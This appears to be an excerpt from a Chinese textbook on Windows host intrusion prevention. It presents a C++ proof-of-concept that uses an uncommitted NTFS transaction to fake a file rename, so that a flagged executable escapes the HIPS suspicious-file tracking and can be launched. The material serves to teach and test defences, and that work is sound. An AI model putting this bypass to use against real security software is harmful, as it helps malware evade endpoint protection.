Windows主机入侵检测与防御内核技术深入解析

// 漏洞利用：利用NTFS事务来“伪造”成功的文件重命名，从而使得可疑
// 文件逃离可疑文件路径库的监管
int PocTransaction()
{
    HANDLE trnsc = NULL;
    HINSTANCE proc = NULL;
    HANDLE file = NULL;
    int ret = 0;
    char path1[] = { "helloworld.exe"  };
    char path2[] = { "helloworld2.exe" };
    char path3[] = { "helloworld3.exe" };
    wchar_t lpath3[] = { L"helloworld3.exe" };
 
    do {
        // 1. 首先打开一个事务
        trnsc = ::CreateTransaction(NULL, NULL, NULL, NULL, NULL, NULL, NULL);
        if (trnsc == NULL)
        {
            // 事务生成必须成功，否则无法执行。
            ret = -1;
            LOG(("PocTransaction: Failed to CreateTransaction.\r\n"));
            break;
        }
        // 2. helloworld.exe本身不是新创建的，因此必然可以直接执行。为了
        // 让它变得可疑，我先复制一下这个文件，使之变成可疑库中的文件。
        _unlink(path2);
        if(!CopyFileA(path1, path2, FALSE))
        {
            // 如果复制失败了，测试无法进行。
            LOG(("PocTransaction: Failed to copy helloworld.exe.\r\n"));
            ret = -2;
            break;
        }
 
        // 3. 这时候尝试运行helloworld2.exe，因为已经是可疑文件，应该是失败的
        // 状态
        proc = ShellExecuteA(NULL, NULL, path2, NULL, NULL, SW_SHOW);
        // ShellExecuteA这个函数比较奇特，如果返回值小于等于32，则是发生了错误。
        if(proc > (HINSTANCE)32)
        {
            // 如果成功执行了，说明测试失败。
            LOG(("PocTransaction: Run helloworld2.exe OK. HIPS doesn't work..\r\n"));
            ret = -3;
            break;
        }
 
        // proc如果是小于等于32的，那么就是一个错误码，这是我们期望的结果。proc
        // 设置为NULL避免后面调用CloseHandle
        proc = NULL;
 
        // 4. 然后打开文件
        file = CreateFileTransactedA(
            path2, 
            GENERIC_READ| GENERIC_WRITE|DELETE,
            FILE_SHARE_READ|FILE_SHARE_WRITE|FILE_SHARE_DELETE, 
            NULL, 
            OPEN_ALWAYS, 
            // 参考资料上说这个参数很关键，没有不行
            FILE_FLAG_OPEN_REPARSE_POINT, 
            NULL, 
            trnsc, 
            NULL, 
            NULL);
        if (file == NULL)
        {
            // 如果文件打不开，无法正常测试
            LOG(("PocTransaction: Failed to open a file in the transaction.\r\n"));
            ret = -4;
            break;
        }
 
        // 一般情况下重命名文件用rename函数就行了，但rename函数无法指定
        // 句柄，所以不得不用SetFileInformationByHandle来实现重命名
        auto dst_path_len = wcslen(lpath3);
        auto buf_size = sizeof(FILE_RENAME_INFO) + 
         (dst_path_len * sizeof(WCHAR));
        auto buf = _alloca(buf_size);
        memset(buf, 0, buf_size);
        auto const fri = reinterpret_cast(buf);  (1)
        fri->ReplaceIfExists = TRUE;
        fri->FileNameLength = (DWORD)dst_path_len;
        wmemcpy(fri->FileName, lpath3, dst_path_len);
 
        // 6. 现在重命名文件
        if (!SetFileInformationByHandle(file, 
         FileRenameInfo, fri, (DWORD)buf_size))
        {
            // 如果重命名失败了，也无法正常测试
            LOG(("PocTransaction: Failed to rename the file in the transaction.\r\n"));
            ret = -5;
            break;
        }
 
        // 7. 文件被重名之后，可以关闭文件了。
        CloseHandle(file);
        file = NULL;
 
        // 这里我提交事务，理论上就能重命名完成。在PoC中这个是不需要的。在调试中用
        // 这个可以确认事务和文件重命名都正常。
        // if(!CommitTransaction(trnsc))                          (2)
        // {
        //    LOG(("PocTransaction: Failed to commit the transaction.\r\n"));
        //    ret = -6;
        //    break;
        // }
 
        // 8. 文件被关闭之后，我直接关闭事务（注意我没有提交事务，所以事务会自动回滚
        CloseHandle(trnsc);
        trnsc = NULL;
 
        // 9. 既然事务回滚了，我现在继续执行启动可疑文件path2。如果成功，则我
        // 绕过了防御，返回1。如果不成功，则防护生效，我返回0
        proc = ShellExecuteA(NULL, NULL, path2, NULL, NULL, SW_SHOW);
        if (proc != NULL)
        {
            // 如果成功执行了，说明绕过了防御，返回1.
            LOG(("PocTransaction: Hit!!!\r\n"));
            ret = 1;                                          (3)
        }
        else
        {
            // 如果不成功，则防护生效，我返回0
            LOG(("PocTransaction: Protected!!!\r\n"));
            ret = 0;                                          (4)
        }
    } while (0);
    if (file != NULL)
    {
        CloseHandle(file);
    }
    if (proc != NULL)
    {
        CloseHandle(proc);
    }
    if (trnsc != NULL)
    {
        CloseHandle(trnsc);
    }
    // 停下等待，避免控制台窗口一闪而过
    getchar();
    return ret;
}